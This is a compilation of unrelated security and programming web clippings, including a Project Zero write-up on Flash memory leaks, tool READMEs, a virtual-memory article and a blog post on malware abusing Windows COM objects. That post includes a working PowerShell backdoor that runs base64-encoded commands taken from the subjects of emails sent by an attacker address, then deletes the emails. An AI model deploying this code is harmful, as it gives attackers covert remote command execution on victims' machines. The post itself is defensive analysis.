can be leveraged for exploit development. As always, I’m interested in
feedback — you can leave in the comments section, on Twitter, or both. Stay
tuned for the next installment in the series on Unicode-based exploits.

Follow @securitysift  

Related Posts:

  * Windows Exploit Development – Part 1: The Basics  

  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows  

  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules  

  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps  

  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting  

  * Windows Exploit Development – Part 6: SEH Exploits  

  * Windows Exploit Development – Part 7: Unicode Buffer Overflows  

  

### Share this:

  * Google  

  * Twitter  

  * Facebook  

  * LinkedIn  

  * Email  

  * Pinterest  

  * Reddit  

  *   

# letoram/senseye · GitHub

**Created:**| _3/3/2015 1:59:23 PM_  
---|---  
**Updated:**| _3/3/2015 1:59:23 PM_  
**Author:**| __  
**Tags:**| __  
  

# letoram/senseye · GitHub

#  About

Senseye is a dynamic visual binary analysis and debugging tool intended to
assist in monitoring, analysing and grasping large data feeds e.g. static
files, dynamic streams and live memory.

For a bit more of what that entails, please take a look at the Senseye Github
Wiki.

Senseye uses Arcan as display server and graphics engine to provide the user
interface, representations and other data transformations.

As such it requires a recent and working arcan build, see _Compiling_ below
for more details on a quick and dirty setup and _Starting_ for information on
how to start the user interface and to connect a sensor.

It current runs on Linux/FreeBSD/OSX, with a Windows port hiding in the near
future.

#  Compiling

This requires an arcan build to be present / installed, e.g. \(assuming all
dependencies are installed: OpenGL, SDL, Freetype and openal for the build
settings mentioned below\). You also need cmake \(2.8+\) and gcc4.8+ or clang.

[code]

    git clone https://github.com/letoram/senseye.git
    cd senseye
    git clone https://github.com/letoram/arcan.git
    mkdir build-arcan
    cd build-arcan
    cmake -DCMAKE_BUILD_TYPE=Release -DVIDEO_PLATFORM=sdl
     -DDISABLE_FRAMESERVERS=ON -DCMAKE_C_COMPILER=clang ../arcan/src
    make -j 4
    cd ..
    mkdir build
    cd build
    cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_COMPILER=clang
     -DARCAN_SOURCE_DIR=../arcan/src ../senses
    make -j 4
    
[/code]

The arcan build configuration above disables a lot of features that we have no
use for here. When arcan moves to a more mature stage \(around 0.9\) we can
replace some of this with a libarcan-shmif find module, and arcan itself is
hopefully packaged in a few distributions before then.

#  Starting

To just fire up the UI and feed it some of the included testing data, you
could do the following:

First, fire up the UI:

[code]

    ../build-arcan/arcan -p ../res -w 800 -h 800 ../senseye &
    
[/code]

and then attach a sensor or two:

[code]

    ./sense_file ../tests/test.bin &
    cat ../tests/test.bin | ./sense_pipe 1> /dev/null &
    
[/code]

and optionally one or more translators.

[code]

    ./xlt_ascii &
    ./xlt_dpipe /usr/bin/file - &
    ./xlt_capstone -a x86-64 &
    
[/code]

#  Workflow

Sensors _provides_ data in lower levels of abstractions, typically byte
sequences etc. Think of them as measuring probes you attach to whatever you
want to gather measurements from.

The main UI then provides a number of visual and statistical tools for working
with raw data from sensors and help you find patterns and properties to help
you _classify_ and _group_ related data.

Lastly, _translators_ then interprets selected data blocks and provide you
with higher level representations.

Both sensors and translators work as separate processes that can be connected
and disconnected at will. This provides a tighter feedback loop for specific
cases e.g. when reversing a file format and developing a parser.

There is nothing in the workflow that prevents hybrids though, i.e.
translators that also act as a sensor, packers/unpackers for various formats
could work in that way, there just is not anything like that in the project
currently.

#  Sensors

The following sensors are currently included:

_sense\_pipe_ works as a step in a pipes and filters chain, where it grabs
data from standard input, samples and then forwards on standard output.

The control window is a simple red or green square indicating if the pipe is
still alive or not.

_sense\_file_ works on mapping static files, i.e. whole files by mmapping the
entire file.

The control window is a static preview of the entire file, along with an
indicator of the current file position. It can also be used to quickly seek.

_sense\_mem_ \(linux only\) works works by parsing /proc/\[pid\]/maps for a
specific pid and allows you to navigate allocated pages and browse / sample
their data.

The control window shows the currently available maps \(reparsed whenever
navigation is provided\) and the arrow keys / enter is used to move between
regions and spawn data windows.

Sensors are the more complex parts to develop, as there is both a low level
data acquisition component, IPC for providing data and a UI part \(that
require some knowledge of Lua and the Arcan Lua API\) hiding in
senseye/senses/\*.lua.

#  Translators

The following translators are currently included:

_xlt\_dpipe_ is a rather expensive translator that, on each sample, forks out
and executes the specified command-line application \(like /usr/bin/file -\),
with a pair connected to STDOUT/STDIN of the new process. The sample data is
pushed on STDIN, the result is interpreted and rendered as ASCII text. It is
intended for magic- value style classifiers.

_xlt\_capstone_ is built if the capstone disassembly library was found. It
provides a mnenmonic based disassembler view, with user definable coloring,
formatting etc.

_xlt\_ascii_ is minimal example of a translator, it provides 7-bit ASCII
rendering of the incoming data, with some minor options to control line- feed
behavior.

_xlt\_verify_ and _xlt\_seqver_ are used for verification, testing and
debugging purposes and can mostly be ignored. Verify just renders the data
received again \(which can help isolate corruption or graphics- related
issues\) and seqver outputs a binary true/false based on if the input data
comes in incremental / wrapping sequences \(e.g. 0x01, 0x02, 0x03, 0xff, 0x04,
0x05, 0x06, 0xff\) etc. testing packing / unpacking in transfers.

Translators are much simpler to develop, typically one or two callbacks that
need to be implemented, with most fancy behavior implemented by the
xlt\_supp.\* files.

A better introduction to the UI will be posted in video form, there is too
much experimentation going on still for that to be worthwhile.

Default Keybindings \(META is set to RIGHT SHIFT\):

_Data Windows_

[code]

     F1 - Toggle Fullscreen
     F2 - Grow Window x2 (+Meta, Shrink)
     F3 - Zoom In (+Meta, Zoom Out)
     META + BACKSPACE - Destroy Window
     C - Cycle Active Shader
    
[/code]

_Global_

[code]

     F7-F8 - Grow/Shrink Point Size (for pointclouds)
     TAB - Toggle Popup (+ arrow keys to navigate)
     ESCAPE - Drop Popup
     META + LClick + Drag - Move Window
    
[/code]

_3D Window_

[code]

     w,a,s,d - Navigate
     Spacebar - Toggle autorotate
     LClick + Drag - Rotate model
     META + Button - Forward to parent window
    
[/code]

_Psense/Fsense_

[code]

     Spacebar - Toggle Play/Pause
    
[/code]

_Fsense_

[code]

     Left/Right - Step row (+Meta, block)
    
[/code]

_Msense_

[code]

     Main Window: Arrow keys - move cursor up/down
                  Enter key - try to sample and load the selected area
    
     Data Window: r - refresh at current position
                  Left/Right - Step page forward/backward
    
[/code]

_Histogram Window_

[code]

    LClick - Set new parent highlight value
    
[/code]

#  Data Window Menu

There are a few entries in the data menu that warrant some explanation. First,
recall that all transfers from a sensor to senseye is performed over a shared
memory mapping that is treated as a packed image, where the build-time default
is a 32-bit red,green,blue,alpha interleaved buffer.

_Packing_ \(what is to be stored\) controls how the sensor formats data,
_intensity_ means that the same byte will be set in the red, green and blue
channels\). It is a sparse format that wastes a lot of bandwidth but may be
useful when higher semantic markers are encoded in the alpha channel as the
alpha resolution will be per byte rather than in groups of three or four.

_histogram intensity_ is a variant of _intensity_ where the channel value will
be the running total frequency of that particular byte value. _tight
\(alpha\)_ is similar to a straight memcpy, each color channel will corrspond
to one sampled value \(so 4 bytes per pixel\). _tight\(no-alpha\)_ is the
better trade-off and the default that uses three bytes per pixel and permits
other data to be encoded in the alpha channel.

The _Metadata_ options specifies what additional data should be encoded in
each transfer \(which also depends on which channels that could be used based
on the packing mode\). By default, this is set to _Shannon Entropy_ \(though
the block size that the entropy is calculated on is defined statically in the
sensor currently\) being encoded in the alpha channel. _Full_ simply means
that the channel value will be ignored and set to full-bright \(0xff\).
_Pattern Signal_ means that if the sensor has been configured to be able to do
pattern matching or other kinds of metadata encoding in the alpha channel, it
should be used. This is typically combined with a shader that has a coloring
lookup-table \( palette \) attached.

_Transfer Clock_ hints at the conditions required for an update. This is a
hint in the sense that not every sensor will necessarily follow this. Using
_psense_ as an example, _Buffer Limit_ clock means that a new transfer will be
initiated when the complete buffer has been filled with new data, \(or if the
pipe terminates\), while _Sliding Window_ means that as soon as we get new
data, the transfer will be initiated.

_Space Mapping_ finally, determines the order in which the packed bytes should
be encoded in the image buffer. This greatly affects how the image will 'look'
and different mapping schemes preserve or emphasize different properties.
_Wrap_ is the easiest one in that the bytes will be stored in the order which
they arrived. This has the problem of the last pixel on each row being
connected data-wise with the first pixel on the next row even though they will
be spatially distant from eachother. _Hilbert_ mapping scheme instead uses a
space filling fractal \(the hilbert curve\) which preserves locality better.
_Tuple_ mapping uses the byte-values in the data-stream to determine position
\(first byte X, second byte Y\) to highlight some specific relationships
between a tuple of bytes.

#  Repository

_files that might be of interest\)_

[code]

    senseye\
        senseye.lua      - main script
        shaders.lua      - GLSL1.2 based shaders for mapping/displacement
        keybindings.lua  - default keybindings
        wndshared.lua    - navigation, default key bindings and navigation
        histogram.lua    - basic per-frame statistics
        modelwnd.lua     - camera management, 3d mapping
    senses\
        code for the main sensors and translators , primarily data acquisition
        (sense_file,mem,pipe.c) with some minor statistics and
        translation done in rwstat.c and event-loop management in sense_supp.c
    res\
        (mostly cherry-picked from the arcan codebase)
        shared resources, fonts, support scripts for UI features, window
        management etc. cherry picked from the arcan repository.
    
[/code]

# Project Zero: What does a pointer look like, anyway?

**Created:**| _8/21/2014 10:49:41 PM_  
---|---  
**Updated:**| _8/21/2014 10:49:41 PM_  
**Author:**| __  
**Tags:**| _vulnerability programming pointers image-processing_  
  

# What does a pointer look like, anyway?

Posted by Chris Evans, Renderer of Modern Art

In Adobe’s August 2014 Flash Player security update, we see:

These updates resolve memory leakage vulnerabilities that could be used to
bypass memory address randomization \(CVE-2014-0540, CVE-2014-0542,
CVE-2014-0543, CVE-2014-0544, CVE-2014-0545\).

I reported the latter four of these. I’d like to thank Adobe for fixing them
so quickly -- about 30 days between report and broad availability of a patch.
That’s well within Project Zero’s 90-day deadline on bug disclosure.

They are all interesting bugs in image decoding, leading to uninitialized
pixels in image canvases. There exist rich ActionScript APIs to read pixels
out of canvases, so any uninitialized data can be examined easily by the
attacker. Let’s take a visual tour of the four bugs:

CVE-2014-0542link to our public bug

<img src='img/Temp2_6448.png' alt='flashleak.png' />

The image above, which includes the “got probable pointer” text, is a sample
rendering from running the proof of concept file. The trigger for this bug is
a particularly weird JPEG image: one with two color components per pixel. Most
images have one component per pixel \(greyscale\) or three components per
pixel \(red, green, blue or other scheme\). In the case of two color
components, the image processing “gave up” on rendering the foreign image.
This left completely uninitialized RGB \(red, green, blue\) values in the
canvas, thus leaking the contents of the memory that was last allocated where
the new canvas now is.

If you look at the probable pointer value, you’ll see that one byte is marked
as “??”. This is because the canvas is in fact RGBA \(red, green, blue,
alpha\) and the alpha component -- which is every fourth byte -- is
initialized to a constant 0xff value.

CVE-2014-0543link to our public bug

<img src='img/Temp2_6449.png' alt='1bpp.png' />

The trigger for this bug is a 1bpp image. 1bpp is shorthand for “one bit per
pixel”. If we just have 1 bit to represent every pixel, the image should only
contain two different colors, one color for pixels where the bit is 0 and
another color for pixels where the bit is 1.

Looking at the image, we have a rich range of colors so right away we know
something is wrong. What has happened here is that 1bpp images can be declared
in a SWF image tag, but they are not supported. Upon hitting the unsupported
image, the per-row conversion code “gives up”, leaving the row buffer
uninitialized. Since there is just one row buffer \(it is reused every row\),
the image looks very distinct. Every row is the same.

The long hexadecimal number below the image represents a bit of uninitialized
data pulled out of the image canvas and into script.

CVE-2014-0544link to our public bug

<img src='img/Temp2_6450.png' alt='8bppleak.png' />

This bug resolves the question “what does a pointer look like?” the most
definitively. It also leaks contiguous uninitialized memory very clearly,
making it the most powerful leak yet. There is no “??” in the extracted
pointer value, because there is no uncertainty.

The bug works by rendering image pixels that are compressed via the zlib
compression algorithm. This particular image is a 64x64 canvas, which requires
4096 pixels to fill. The trick we pull is to terminate the zlib stream
immediately, after emitting exactly 0 pixels. This leaves the canvas… you
guessed it… uninitialized.

If you look at the image, you’ll notice it appears to be comprised of columns.
This effect is because the width is 64 pixels, and a pointer is 8 bytes
\(these images are all rendered on 64-bit Linux\). Since 64 is an exact
multiple of the pointer size, any pointers will be nicely aligned. And this
image is chock full of pointers. A pointer value on 64-bit Linux is
particularly visible because the two most significant bytes are zero
\(rendered as black\), leading to distinct vertical black bars.

CVE-2014-0545link to our public bug

<img src='img/Temp2_6447.png' alt='jpgalpha.png' />

This final bug is also a very powerful memory leak, as evidenced by the
complete pointer value extracted. It also works by embedding truncated zlib
stream in the image. In this case, the truncated zlib stream \(again truncated
a 0 pixels\) is for the image’s alpha channel. By extracting only the alpha
channel byte values from the rendered image, we can recover the content of
contiguous uninitialized memory.

Conclusion

My personal conclusion is that there’s a strange beauty to the visualization
of uninitialized memory and pointer values. I hope you enjoyed these slightly
unusual bugs.

# Security Database Tools Watch - Process Hacker v1.3.8.0 released

**Created:**| _6/18/2009 10:41:50 PM_  
---|---  
**Updated:**| _6/18/2009 10:42:03 PM_  
**Author:**| __  
**Tags:**| _bookmark security tools_  
  

# Process Hacker v1.3.8.0 released

Monday 15 June 2009

<img src='img/Temp2_7327.gif' />Process Hacker is a feature-packed tool for
manipulating processes and services on your computer. It can show you the
threads \(with symbols\), modules, memory regions, handles and token of
processes. It has detailed graphs that show CPU usage, memory usage and I/O
activity. It can even change the DEP status of some processes and
protect/unprotect them\!

  

Process Hacker can read/write memory using a built-in hex editor and search
through memory. It has a powerful run-as tool that can run programs as almost
any user, including SYSTEM, LOCAL SERVICE and NETWORK SERVICE. Finally, its
kernel-mode driver enables Process Hacker to show information for any process,
even if it is protected by a rootkit.

Changes for this release :

NEW/IMPROVED:  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> KProcessHacker
can now perform process memory reading/writing by itself and does not require
MmCopyVirtualMemory  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> KProcessHacker
can now bypass all handle-opening protections  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Experimental
process protection feature  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Ability to set
handle flags such as protect-from-close and inherit  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Better
highlighting  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Terminator
test: TD1 \(debugs a process and closes the debug object\)  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Terminator
test: TT3 \(TT1 is now completely user-mode\)  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Shows function
file and line numbers where available  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Icon updating
is now done on the shared thread to avoid the GUI blocking when explorer.exe
is suspended or is hanging

FIXED:  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> \#2785648 -
"cursor down crashes PH"  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> \#2790404 -
"System.InvalidOperationException"  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Incomplete or
inaccurate thread call stacks  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Windows 7 BSOD  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Crash upon
executing terminator test M1  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Unexpected
actions being performed when a key was pressed in the memory and handle lists  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Changed I/O
tray icon tooltip from ROW to RWO  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Corrupted
usernames  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> .NET processes
getting recognized as packed  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Start times
like "20 centuries ago"  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> Unable to
change service configurations  
<img src='img/Temp2_7329.gif' width='8' height='11' alt='-' /> "Access denied"
when changing DEP status or unloading a module on Windows XP

  

<img src='img/Temp2_7330.gif' width='1' height='1' />

## POSTSCRIPTUM

<img src='img/Temp2_7327.gif' />Download

  

<img src='img/Temp2_7330.gif' width='1' height='1' />

## RELATED ARTICLES

<img src='img/Temp2_7327.gif' /> Enumeration, Forensics, Process Hacker,  
  
<img src='img/Temp2_7327.gif' />15 June 2009 : Process Hacker v1.3.8.0
released  
<img src='img/Temp2_7327.gif' />26 April 2009 : Process Hacker v1.3.7.1
released  
<img src='img/Temp2_7327.gif' />14 April 2009 : Process Hacker v1.3.6.5
available  
<img src='img/Temp2_7327.gif' />20 March 2009 : Process Hacker v1.3.6.1
released  

| | <img src='img/Temp2_7328.gif' />  
| Copyright © Security Database, 2006-2008  
Privacy Policy | Security-Database is a supporter of the "Making Security Measurable" effort. | <img src='img/Temp2_7326.gif' />  
  
---|---|---|---

# Security-Shell: Nuf-Fuzzer v.0.1 Pre-release

**Created:**| _5/16/2011 1:53:57 PM_  
---|---  
**Updated:**| _5/16/2011 1:54:23 PM_  
**Author:**| __  
**Tags:**| _web Fuzzer browser_  
  

### Nuf-Fuzzer v.0.1 Pre-release

<img src='img/Temp2_7381.png' />  
nuf-fuzzer is a powerfull browser fuzzer based on mangleme fuzzer concept. It
will be possible to fuzz html tags, css tags javascript functions and DOM
objects.  
  
  
  
  
Usage:  
For compilation use Makefile in root directory. Then you can use nuf-fuzzer
with following way from command line:  
nuf-fuzzer \[ -rc CLIENTCOMMAND \] \[-p SERVERPORT \] \[ -en ERRORCOUNT \]  
nuf-fuzzer run server, then run browser and redirect it to address of runned
server and port on what is server runned. Then testing browser with automatic
generated payloads, while is searched error. When is reached error browser is
runs again.  
You can run nuf-fuzzer with following parameters:  
CLIENTCOMMAND \- this command is use to run client browser and redirect it to
required address  
SERVERPORT \- integer number, on this number is run HTTP server  
ERRORCOUNT \- integer number, that means count of reached errors\(browser is
running again ERRORCOUNT times\)  
  
Features:  
HTML tags fuzzing  
CSS tags fuzzing  
DOM objects fuzzing  
javascript functions fuzzing  
designed to run as daemon  
logging  
various payload algorithms  
  
Download: http://sourceforge.net

# Neo23x0/Raccine: A Simple Ransomware Vaccine

**Created:**| _5/18/2021 5:44:46 PM_  
---|---  
**Updated:**| _5/18/2021 5:44:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Why

We see ransomware delete all shadow copies using `vssadmin` pretty often. What
if we could just intercept that request and kill the invoking process? Let's
try to create a simple vaccine.

## Why

We see ransomware delete all shadow copies using `vssadmin` pretty often. What
if we could just intercept that request and kill the invoking process? Let's
try to create a simple vaccine.

# Malware and COM Object – The paradise of covert channels ‹ The Cybersecurity
& FastForensic Blog

**Created:**| _9/10/2015 1:51:17 PM_  
---|---  
**Updated:**| _9/10/2015 1:52:09 PM_  
**Author:**| __  
**Tags:**| _botnets_  
  

Malware and COM Object – The paradise of covert channels

  

Posted On 07 Sep 2015

  

Windows COM object & common usage by malware developers

  

The COM \(Component Object Model technology\) object is a technology developed
by Microsoft for Windows systems. The purpose of this technology is to be able
to control another application like an object. The technology could be
considered as an inter-process communication channel.

  

This technology is well known by malware developers. For example in August
2014, I wrote, on VirusBulletin, an article about IcoScript1. It’s a RAT
\(Remote Administration Tool\) that is using a COM object to manipulate
Internet Explorer. This choice brings a lot of advantages for the malware
developers:

  * It’s stealth: only 2 APIs are used CoInitialize\(\), CoCreateInstance\(\);
  * Internet Explorer’s configuration is transparently used \(proxy configuration, …\);
  * Easy to code.

Today, this usage of Internet Explorer’s COM object is frequently used by
malware developers. The experts of Sekoia’s CERT frequently run into this
approach during malware analysis.

  

Uncommon usage: Outlook instrumentation

  

Microsoft provides a lot of other interesting COM objects that could be used
by malware developers in order to communicate with their C&C. Basically 2
applications are always connected to the Internet on a user’s computer:

  * The browser \(we spoke about this topic on the previous part\);

  * The email client.

Microsoft Office Outlook is frequently used in a professional environment.
Obviously, Microsoft provides a COM object in order to manipulate an “Outlook
object”. Its name is “Outlook.Application”. For example, this object allows a
developer:

  * To manipulate emails: read, write, remove…

  * To generate events: client starting, client closing, new email…

Thank to this features, malware developers could imagine this communication
channel design:

  * **Step 1** : the malware is waiting for a new incoming email;

  * **Step 2** : the malware checks the identity of the sender;

  * **Step 3** : If the identity is the malware operator, the content of the object is decoded and executed;

  * **Step 4** : the email is removed and the process goes back to **step 1**

This complete implementation can be realized in less than 20 lines with
Powershell:

  

$action = \{

  $outlook = new-object -com outlook.application;

  $ns = $outlook.GetNameSpace\(“MAPI”\);

  $inbox = $ns.GetDefaultFolder\(6\);

  $inbox.items | foreach \{
    if\($\_.unread -eq $True\) \{

      if \($\_.SenderEmailAddress.equals\(“supervilain@vilain.fr”\)\) \{

        $command =
\[System.Text.Encoding\]::ASCII.GetString\(\[System.Convert\]::FromBase64String\($\_.Subject\)\)

        $job = \{ Invoke-Expression -Command: $args\[0\] \}

        Start-Job -Name ex -ScriptBlock $job -ArgumentList $command

        $\_.Delete\(\)

      \}

    \}

  \}

\}

$ol = new-object -com outlook.application;

$null = Register-ObjectEvent $ol NewMailEx -SourceIdentifier MyAlert -Action
$Action;

  

The code is not really complex to be understood. Here is a video in order to
see the behavior on the infected system, when the subject is
“Y21kLmV4ZSAvQyBjYWxjLmV4ZQ==” \(cmd.exe /C calc.exe\):

  

Video Player

  

00:00

  

00:00

  

**1.** **“Outlook instrumentation”******

  

**0:10**

  

By default, Microsoft Office Outlook does not allow this external interaction
and a popup is shown to the user. Sadly, the notification can easily be
switched off by modifying a few registry keys2.

  

To increase the efficiency of this design, the operator could use the content
of a spam because everybody receives daily spam without noticing them…

  

Conclusion

  

COM objects are really powerful and really convenient for developers. However
this power can be used by bad actors. The experts of the Sekoia’s CERT know
that the Office Outlook instrumentation by a malware is already used to add
additional monitoring and logging on email servers in order to ease digital
investigation through a incident response.

  

1 https://www.virusbtn.com/virusbulletin/archive/2014/08/vb201408-IcoScript

  

2 http://www.slipstick.com/developer/change-programmatic-access-options/

  

# Objology: One of the Best Bits of Programming Advice I ever Got

**Created:**| _9/26/2011 8:23:58 PM_  
---|---  
**Updated:**| _9/26/2011 8:23:58 PM_  
**Author:**| __  
**Tags:**| _oop_  
  

### One of the Best Bits of Programming Advice I ever Got

Years ago \(early 1992\), I attached myself to this crazy skunkworks project
that was using this weird language called Smalltalk. "Object Oriented" was in
its infancy as a "hot" item. High paid consultants. Lots of people laying
claim to what this new object religion was all about. This was 5 years before
Alan Kay would make the statement "I invented the term 'Object Oriented
Programming' and this \{Java and C++\} is not what I had in mind."  
  
Shortly after hooking up with this whacky group with the whacky language,
still confused about what the difference was between an instance variable, a
class variable, and a class instance variable, I found myself in a training
course taught by Russ Pencin, of ParcPlace. Russ would say something that I
didn't really appreciate at the time. Despite not understanding the point
behind this sage advice, I endeavored to follow it. It would take years of
experience and exposure to appreciate it's value. The advice?  
  

_**Don't make objects that end with 'er'.**_

  
That's it. The OOP paradigm sprang to life amidst of a culture of what we
called "procedural programming." Now days we don't talk so much about the
comparison between the two paradigms. Probably in part because Object Oriented
languages are now a dime a dozen. The OOP religion, in a multitude of flavors
won out. Sadly, I often find myself echoing words I heard Adele Goldberg say
around 2000: "Now days we have lots of Object Oriented Programming, but not so
many Object Oriented Programmers". If there was one piece of advice I would
pass on to the hordes of would be Object Oriented Programmers, it would be the
sage advice offered by Russ: "Don't make objects that end with 'er'."  
  
What's in a name anyway? Why is this worth getting excited about? What I've
discovered over the years, is that the jst of OOP is that we bind behavior to
data. As long as you haven't joined in the Functional Monks in their
Monasteries of Statelessness, programs are made of behavior and data. In
classic structured/programming, we concentrate on behavior \(verbs\), and then
figure out what data \(nouns\) we need to make it all work. In other words, we
bind data to behavior. But in OOP, we make the locus of programs be the nouns,
the data, and then we figure out what kind of behavior we can bind to them,
and hope that the problems we hope to solve gel out of the emergent behaviors.  
  
I recently posited to a colleague that in nearly every "er" object case, there
was a better name for it. And that giving it a better name would tend to make
the design more encapsulated, less spaghetti code, in short more object
oriented. It's not a hard and fast rule, but there are a lot of cases where it
can improve things.  
  
Take some sort of "Loader" for example. The focus here is on the unit of work
it does. It'll have lots of instance variables, lots of arguments, and pass
lots of data around probably. Now instead replace that with a LoadRecord and a
LoadStream. I'm reasonably confident you'll end up with something that is more
akin to what the original Founding Fathers of OOP had in mind. We want to
create objects that describe what they are, and then bind behavior to them,
rather than focus on what they do, and then figure out what data they'll need
to do that.  
  
Some er's that I've learned to avoid over the years:  
  

  * Managers - Every time I see one of these, I cringe. People will usually tell me what it does, long before they can tell me what it is. Is it a registry? Fine call it a registry. Is it a history or a log? Call it that. Is it a factory? Call it that.
  * Controllers - Only good controller object I've made in the last 20 years was an interface to a BallastVoltageController that represented a real world object. The fact that every single MVC implementation in the world has had a different role for Controller ought to tell us something about how well that idea fit.
  * Organizer \(and many like them\) - Focus is on what it does. This is a great example of how easy it is to turn many of these 'ers' into nouns. Call it an Organization. Now we're focusing on what it is.
  * Analyzer/Renderer/etc - Definitely examples of "worker" objects. What if they had been Analysis/Rendering/etc.
  * Builder/Loader/Reader/Writer/etc - Remove the focus from the objects being manipulated, and tend assume to much responsibility themselves.

There's lots of exceptions to such a rule of course.

  * There are lots of noun words that end in 'er'. Register. Border. Character. Number. If it's really a noun, fine.
  * There are many 'er' words that despite their focus on what they do, have become so commonplace, that we're best to just stick with them, at least in part. Parser. Compiler. Browser.
  * When you are trying to model a domain object that ends in 'er'. I'm fine with a Manager subclass of Personel, which is there to refine a type of personal that has management behavior to it.

Your mileage may vary, I'm sure there are those that disagree with this. Until
you apply the mindset for a while though, you'll never really know. Give it a
whirl on one of your projects/designs and see what happens.

# Blogs - Mark's Blog - Site Home - TechNet Blogs

**Created:**| _7/23/2014 9:48:40 AM_  
---|---  
**Updated:**| _7/23/2014 9:48:40 AM_  
**Author:**| __  
**Tags:**| _windows environment memory-manager_  
  

# TechNet Blogs

### Pushing the Limits of Windows: Virtual Memory

In my first Pushing the Limits of Windows post, I discussed physical memory
limits, including the limits imposed by licensing, implementation, and driver
compatibility. Here’s the index of the entire Pushing the Limits series. While
they can stand on their own, they assume that you read them in order.

> Pushing the Limits of Windows: Physical Memory
> Pushing the Limits of Windows: Virtual Memory
> Pushing the Limits of Windows: Paged and Nonpaged Pool
> Pushing the Limits of Windows: Processes and Threads
> Pushing the Limits of Windows: Handles
> Pushing the Limits of Windows: USER and GDI Objects – Part 1
> Pushing the Limits of Windows: USER and GDI Objects – Part 2
This time I’m turning my attention to another fundamental resource, virtual
memory. Virtual memory separates a program’s view of memory from the system’s
physical memory, so an operating system decides when and if to store the
program’s code and data in physical memory and when to store it in a file. The
major advantage of virtual memory is that it allows more processes to execute
concurrently than might otherwise fit in physical memory.

While virtual memory has limits that are related to physical memory limits,
virtual memory has limits that derive from different sources and that are
different depending on the consumer. For example, there are virtual memory
limits that apply to individual processes that run applications, the operating
system, and for the system as a whole. It's important to remember as you read
this that virtual memory, as the name implies, has no direct connection with
physical memory. Windows assigning the file cache a certain amount of virtual
memory does not dictate how much file data it actually caches in physical
memory; it can be any amount from none to more than the amount that's
addressable via virtual memory.

### Process Address Spaces

Each process has its own virtual memory, called an address space, into which
it maps the code that it executes and the data that the code references and
manipulates. A 32-bit process uses 32-bit virtual memory address pointers,
which creates an absolute upper limit of 4GB \(2^32\) for the amount of
virtual memory that a 32-bit process can address. However, so that the
operating system can reference its own code and data and the code and data of
the currently-executing process without changing address spaces, the operating
system makes its virtual memory visible in the address space of every process.
By default, 32-bit versions of Windows split the process address space evenly
between the system and the active process, creating a limit of 2GB for each:

Applications might use Heap APIs, the .NET garbage collector, or the C runtime
malloc library to allocate virtual memory, but under the hood all of these
rely on the VirtualAlloc API. When an application runs out of address space
then VirtualAlloc, and therefore the memory managers layered on top of it,
return errors \(represented by a NULL address\). The Testlimit utility, which
I wrote for the 4th Edition of Windows Internals to demonstrate various
Windows limits, calls VirtualAlloc repeatedly until it gets an error when you
specify the –r switch. Thus, when you run the 32-bit version of Testlimit on
32-bit Windows, it will consume the entire 2GB of its address space:

<img src='img/Temp2_1100.png' alt='image' />

2010 MB isn’t quite 2GB, but Testlimit’s other code and data, including its
executable and system DLLs, account for the difference. You can see the total
amount of address space it’s consumed by looking at its Virtual Size in
Process Explorer:

Some applications, like SQL Server and Active Directory, manage large data
structures and perform better the more that they can load into their address
space at the same time. Windows NT 4 SP3 therefore introduced a boot option,
/3GB, that gives a process 3GB of its 4GB address space by reducing the size
of the system address space to 1GB, and Windows XP and Windows Server 2003
introduced the /userva option that moves the split anywhere between 2GB and
3GB:

To take advantage of the address space above the 2GB line, however, a process
must have the ‘large address space aware’ flag set in its executable image.
Access to the additional virtual memory is opt-in because some applications
have assumed that they’d be given at most 2GB of the address space. Since the
high bit of a pointer referencing an address below 2GB is always zero, they
would use the high bit in their pointers as a flag for their own data,
clearing it of course before referencing the data. If they ran with a 3GB
address space they would inadvertently truncate pointers that have values
greater than 2GB, causing program errors including possible data corruption.

All Microsoft server products and data intensive executables in Windows are
marked with the large address space awareness flag, including Chkdsk.exe,
Lsass.exe \(which hosts Active Directory services on a domain controller\),
Smss.exe \(the session manager\), and Esentutl.exe \(the Active Directory Jet
database repair tool\). You can see whether an image has the flag with the
Dumpbin utility, which comes with Visual Studio:

<img src='img/Temp2_1095.png' alt='image' />

Testlimit is also marked large-address aware, so if you run it with the –r
switch when booted with the 3GB of user address space, you’ll see something
like this:

<img src='img/Temp2_1102.png' alt='image' />

Because the address space on 64-bit Windows is much larger than 4GB, something
I’ll describe shortly, Windows can give 32-bit processes the maximum 4GB that
they can address and use the rest for the operating system’s virtual memory.
If you run Testlimit on 64-bit Windows, you’ll see it consume the entire
32-bit addressable address space:

<img src='img/Temp2_1105.png' alt='image' />

64-bit processes use 64-bit pointers, so their theoretical maximum address
space is 16 exabytes \(2^64\). However, Windows doesn’t divide the address
space evenly between the active process and the system, but instead defines a
region in the address space for the process and others for various system
memory resources, like system page table entries \(PTEs\), the file cache, and
paged and non-paged pools.

The size of the process address space is different on IA64 and x64 versions of
Windows where the sizes were chosen by balancing what applications need
against the memory costs of the overhead \(page table pages and translation
lookaside buffer - TLB - entries\) needed to support the address space. On
x64, that’s 8192GB \(8TB\) and on IA64 it’s 7168GB \(7TB - the 1TB difference
